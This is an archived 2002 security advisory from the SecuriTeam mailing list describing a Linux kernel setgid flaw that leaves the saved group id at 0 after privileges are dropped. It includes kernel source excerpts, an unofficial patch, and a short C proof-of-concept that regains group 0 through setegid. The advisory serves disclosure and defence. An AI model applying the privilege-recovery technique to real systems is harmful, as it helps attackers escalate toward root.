

[UNIX] Linux Kernel Setgid Implementation Flaw

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0098.html>

From: support@securiteam.com

Date: 07/22/02

From: support@securiteam.com

To: list@securiteam.com

Date: Mon, 22 Jul 2002 22:37:05 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Linux Kernel Setgid Implementation Flaw

SUMMARY

On current stable Linux systems, the setgid system call does not behave correctly in certain conditions:

- Setgid-only programs cannot fully drop privileges.
- Programs with both setuid and setgid flags which call setuid(getuid) before setgid(getgid) do not fully drop privileges.

"privileges are not fully dropped" means that the saved gid remains 0, although both gid, egid, fsgid, uid, euid, suid, and fsuid are set to the unprivileged user id.

DETAILS

A setuid or setgid program can wish to give up its privileges as soon as it does not need them anymore, if the program is written to minimize the impact of a vulnerability in the now unprivileged part of the code. Note that most Linux set[ug]id programs seems to do not care too much about it. Surely in OWL Linux and such they care more (and in OpenBSD for sure, but...). The problem is, if a vulnerability (like a buffer overflow) appears in an unprivileged part of the code, with current Linux kernels the cracker will still be able to get group id 0 (from the saved gid). That is a good launch pad for gaining full root privileges.

Securiteam: [UNIX] Linux Kernel Setgid Implementation Flaw

Note however, there is no need to panic, the impact of this vulnerability is LOW in most (maybe all) Linux distributions:

- It is local only (well, unless you wrote a daemon that thinks it can drop group privileges *after* doing the setuid(userid). In addition, unless you have a setgid daemon or network client program).
- It needs for a setgid or setuid program to have an exploitable vulnerability.
- It could be a serious vulnerability if security was not so low in current Linux systems. Most set[ug]id programs do not even bother to give up their privileges, so locally exploiting them gives instant root.
- Programs which drop privileges before calling execve are not vulnerable since execve reset the saved uid (at least it should: not tested).

However, if you can find on your system a program that relies too much on the setgid behavior and gives full control to the user on the process, this problem would become a very serious vulnerability.

Technical details:

The vulnerability was tested on 2.4.3 kernel, and the latest 2.4.18 with the (excellent) grsecurity patch.

Example:

```
[fuzzy@defcon10 fuzzy]$ uname -a
Linux 2.4.18-grsec-1.9.4 #5 (...)
[fuzzy@defcon10 fuzzy]$ ls -l dg
-r-xr-sr-x 1 root root 15525 jui 19 04:18 dg*
[fuzzy@defcon10 fuzzy]$ ./dg
uid=501, euid=501, gid=501, egid=0
--> suid=501 and sgid=0
Dropping privileges...
Privileges dropped : uid=501, euid=501, gid=501, egid=501
--> suid=501 and sgid=0
After trying to recover, here is what we have: uid=501, euid=501, gid=501,
egid=0
```

See the attached source code of the program.

In-Depth Details:

Let's take a look at the main part of the setgid syscall:

```
-----
if (capable(CAP_SETGID))
{
    if(old_egid != gid)
        current->dumpable=0;
    current->gid = current->egid = current->sgid =
current->fsgid = gid;
}
else if ((gid == current->gid) || (gid == current->sgid))
{
    if(old_egid != gid)
        current->dumpable=0;
```

Securiteam: [UNIX] Linux Kernel Setgid Implementation Flaw

```
current->egid = current->fsgid = gid;
}
```

If the process do not have the CAP_SETGID capability, current->sgid is never modified. It will remain 0 no matter what you do (well, actually, a setregid will change the sgid, and a setresgid also, but everybody call the standard setgid). This capability is set only if you are the superuser (unless you have set up a real capability-aware system of course). So it is not set when running setgid programs, and in setuid programs it is unset when you do a setuid(user).

Unofficial patch:

439c439

```
< current->egid = current->fsgid = gid;
```

```
---
>         current->egid = current->fsgid = current->sgid = gid;
```

Exploit code: /* drop_gid.c – scaled down version of my [e]f[s]l[ug]id behavior checker */ /* su ; gcc -o dg drop_gid.c ; chmod 2555 dg ; su user ; ./dg */ /* The test is: can we recover some privileges after setgid() ? */

```
#include <stdio.h> #include <unistd.h> #include <sys/types.h> #define LINUX
```

```
int main (void) { uid_t uid, euid, suid, TARGETID; gid_t gid, egid, sgid; TARGETID=getgid();
printf("uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(), geteuid(), getgid(), getegid()); #ifdef LINUX
getresuid(&uid, &euid, &suid); getresgid(&gid, &egid, &sgid); printf("--> suid=%d and sgid=%d\n", suid,
sgid); #endif printf("Dropping privileges...\n"); if (setgid(TARGETID)) perror("setgid"); if
(setuid(TARGETID)) perror("setuid"); printf("Privileges dropped : uid=%d, euid=%d, gid=%d, egid=%d\n",
getuid(), geteuid(), getgid(), getegid()); #ifdef LINUX if (getresuid(&uid, &euid, &suid)) perror("getresuid");
if (getresgid(&gid, &egid, &sgid)) perror("getresgid"); printf("--> suid=%d and sgid=%d\n", suid, sgid);
#endif if (setegid(0)) perror("setegid"); if (setfsgid(0)) perror("setfsgid"); if (setgid(0)) perror("setgid");
printf("After trying to recover here is what we've got: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),
geteuid(), getgid(), getegid()); return 0; }
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:fozzy@dmpfrance.com> FozZy.

=====

This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Securiteam: [UNIX] Linux Kernel Setgid Implementation Flaw

- **Previous message:** support@securiteam.com: "[\[NEWS\] ClickCartPro Security Vulnerability \(Misconfiguration\)](#)"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)